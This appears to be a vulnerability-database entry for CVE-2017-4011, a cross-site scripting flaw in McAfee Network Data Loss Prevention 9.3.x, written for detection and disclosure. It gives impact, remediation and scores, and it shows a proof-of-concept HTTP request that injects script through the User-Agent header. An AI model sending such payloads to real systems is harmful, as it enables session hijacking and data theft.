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CVE-2017-4011: McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting

TitleMcAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or unauthorized access to sensitive information.
RemediationApply the latest security patches or updates provided by McAfee to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.1089
CVE IDCVE-2017-4011
CWE IDCWE-79
Tags cve cve2017 mcafee xss vuln

🔍 Vulnerability Description

McAfee Network Data Loss Prevention User-Agent 9.3.x contains a cross-site scripting vulnerability which allows remote attackers to get session/cookie information via modification of the HTTP request.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-4011.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-4011.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A